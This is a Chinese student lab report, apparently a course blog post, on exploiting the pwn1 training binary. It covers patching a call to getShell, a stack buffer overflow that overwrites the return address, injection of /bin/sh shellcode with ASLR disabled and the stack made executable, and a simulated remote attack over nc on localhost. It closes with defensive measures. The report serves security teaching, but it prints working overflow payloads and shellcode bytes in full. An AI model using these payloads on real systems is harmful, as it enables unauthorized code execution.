Exp1 PC平台逆向破解(5)M

实验1:PC平台逆向破解

1.实验目标

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。实践的目标是想办法运行这个代码片段。

  • 2.实验内容

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。
  • 3. 基础知识

    • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)
      汇编指令 机器码 功能
      NOP 0x90 空指令,当CPU执行到NOP指令时,什么也不做,继续执行NOP后面的一条指令。
      JNE 0x75 如果后面两个参数不相等则跳转到对应地址
      JMP 段内直接短转Jmp short:0xEB;段内直接近转移Jmp near:0xE9;段内间接转移Jmp word:0xFF;段间直接(远)转移Jmp far:0xEA
      CMP 0x38-0x3D 比较指令,对操作数之间进行运算比较。
    • 掌握反汇编与十六进制编程器 (0.5分)
  • objdump
- objdump -d <file(s)>`: 将代码段反汇编;
- objdump -S <file(s)>`: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用`-g`参数,即需要调试信息;
- objdump -C <file(s)>`: 将C++符号名逆向解析
- objdump -l <file(s)>`: 反汇编代码中插入文件名和行号
- objdump -j section <file(s)>`: 仅反汇编指定的section
vim <filename>: 以ASCII码形式显示可执行文件的内容
  :%!xxd: 将显示模式切换为16进制模式
  :%!xxd: 将16进制切换回ASCII码模式
  • 4. 实验步骤

1.直接修改程序机器指令,改变程序执行流程

  • 实验目的
    通过直接修改可执行文件的内容,改变程序执行流程,使其调用原本不会被执行的 getShell 函数。
  • 实验流程
    下载目标文件 pwn1 ,执行 cp pwn1 pwn20191301 命令创建一个副本,原文件留作备用。接下来使用 objdump -d pwn20191301 | more命令进行反汇编,反汇编结果如下:
    • call 0x8048491 <foo>是汇编指令; 是说这条指令将调用位于地址8048491处的foo函数; 其对应机器指令为e8 d7ffffff,e8即跳转之意
    • 正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但执行e8这条指令后,CPU就会转而执行EIP + d7ffffff这个位置的指令。d7ffffff是 补码,表示-41,41=0x29,80484ba +d7ffffff=80484ba-0x29正好是8048491这个值,
    • main函数调用foo,对应机器指令为e8 d7ffffff,那我们想让它调用getShell,只要修改d7ffffff为getShell-80484ba对应的补码就行
    • 用Windows计算器,直接47d-4ba就能得到补码,是c3ffffff
      修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff

      找到d7后变为c3
:%!xxd -r 转换16进制为原格式
:wq 存盘退出vim
再用objdump -d 命令反汇编看一下,call指令是否正确调用getShell:


运行改后的代码,会得到shell提示符

2.构造输入参数进行BOF攻击,改变程序执行流程

  • 实验目的
    本节的目标时通过输入构造的buffer,使得程序执行过程发送改变,进而执行不会被调用的 getShell 函数。
  • 实验流程
    objdump -d命令反汇编:
  • 我们的目标是触发函数getShell;该可执行文件正常运行是调用函数foo,但buffer的填充并不安全。因此,这个函数有Buffer overflow漏洞;
  • 从汇编代码中可知,代码中只预留了28(0x1c)字节的缓冲区,超出部分会造成溢出,首先覆盖EBP,之后覆盖EIP,字节大小共28+4+4=36,我们的目标是覆盖返回地址寄存器EIP
  • 函数main中的call调用函数foo,同时在堆栈上压上返回地址值:80484ae
    从前面的反汇编结果可以看到, getShell 的地址为 0x0804847d ,所以我们构造的参数就是 11111111222222223333333344444444\x7d\x84\x04\x08\x0a
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input   perlink来构造16进制字符串。
xxd  查看input文件的内容是否符合预期
(cat input; cat) | ./pwn20191301_1   将input的输入,通过管道符“|”,作为pwn20191301_1的输入

执行后成功弹出shell.

3.注入Shellcode并执行

定义:shellcode—为了获取一个交互式的shell而设计的一段机器指令

  • 实验目的
    通过构造输入参数,使程序执行我们所输入的Shellcode。
  • 实验流程
  • 准备工作
cd prelink
sudo apt-get install libelf-dev
./configure
make
sudo make install
  • 文件设置及检测
execstack -s pwn20191301_3
execstack -q pwn20191301_3
su root
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
  • 构造需要注入的payload
    +Linux下有两种基本构造攻击 buf 的方法:retaddr+nop+shellcode 和 nop+shellcode+retaddr。因为 retaddr 在缓冲区的位置是固定的, shellcode 要不在它前面,要不在它后面。简单说缓冲区小就把 shellcode 放后边,缓冲区大就把 shellcode 放前边。
    • 结构为:nops+shellcode+retaddr。(另一个有错误)
    • nop一为是了填充,二是作为“着陆区/滑行区”。
    • 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
    • 能够成功的结构为:anything+retaddr+nops+shellcode。
      试探一下程序的返回地址到底在哪里,使用如下shellcode来试探
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
  • 确定返回地址中注入的值
(cat input_shellcode; cat) | ./pwn20191301_3  
ps -ef | grep pwn20191301_3
 gdb
attach ./pwn20191301_3的进程号
disassemble foo
break *0x080484ae
  c
info r esp   确定ESP的值
x/16x esp的值   判断是否正确

  • esp 的内容为 0xffffd16c 。实验指导书中有过一步错误的操作,就是直接使用之前的 pyload 将 shellcode 填充到堆栈里面,然后攻击失败了。失败的主要原因是,我们得到的esp 地址就不在 shellcode 低4字节的位置了,这个时候如果还按照之前的操作就行不通了。所以我们应该修改 pyload 将 shellcode 的位置进行调整,让 shellcode在返回地址的高字节位置。前面32字节使用任意字符进行填充,按照 esp 的地址进行计算,我们应该跳转的 shellcode 的位置应该是 0xffffd16c + 4 ,就也就是 0xffffd170 。
  • 修改并填充完成攻击
perl -e 'print "A" x 32;print "\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd 2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode2
(cat input_shellcode2; cat) | ./pwn20191301_3

  • 4. 结合nc模拟远程攻击

主机1,模拟一个有漏洞的网络服务:

 nc -l 127.0.0.1 -p 28234 -e ./pwn20191301_4
-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入

主机2,连接主机1并发送攻击载荷:

(cat input_shellcode; cat) | nc 127.0.0.1 28234

程序在内存中的地址发生了变化,需要重新使用 gdb 确定返回地址。

  • 新的返回地址为 0xffffd1ac + 4 = 0xffffd1b0 ,对应修改 shellcode ,重新执行

  • 显示shell

5.Bof攻击防御技术

  • 1 从防止注入的角度。
    在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
  • 2 注入入了也不让运行。
    结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。
通过execstack -s pwn1 来设置堆栈可执行
通过 execstack -q pwn1 来查询文件的堆栈是否可执行
  • 3 增加shellcode的构造难度。
    shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。

  • 4 从管理的角度
    加强编码质量。注意边界检测。使用最新的安全的库函数。

5.实验总结

经过本次实验理解了BOF原理,学会了怎么运行原本不可访问的代码片段、强行修改程序执行流以及注入运行任意代码。通过修改栈所存储的指令地址,使跳转到想运行的指令。并且通过本次实验我对溢出攻击有了更加深刻的理解,由于程序没有仔细检查用户输入的参数而造成程序被篡改,这可能会带来非常严重的后果。由此我明白了编写正确的代码是一件非常有意义的工作,特别象C语言那种看似简单而容易出错的程序,更容易出现由于追求性能而忽视正确性的问题。这警示我在今后编写代码时应当注意边界条件、检查用户输入数据的正确性等细节问题。

posted @ 2022-03-20 20:38  20191301  阅读(80)  评论(0编辑  收藏  举报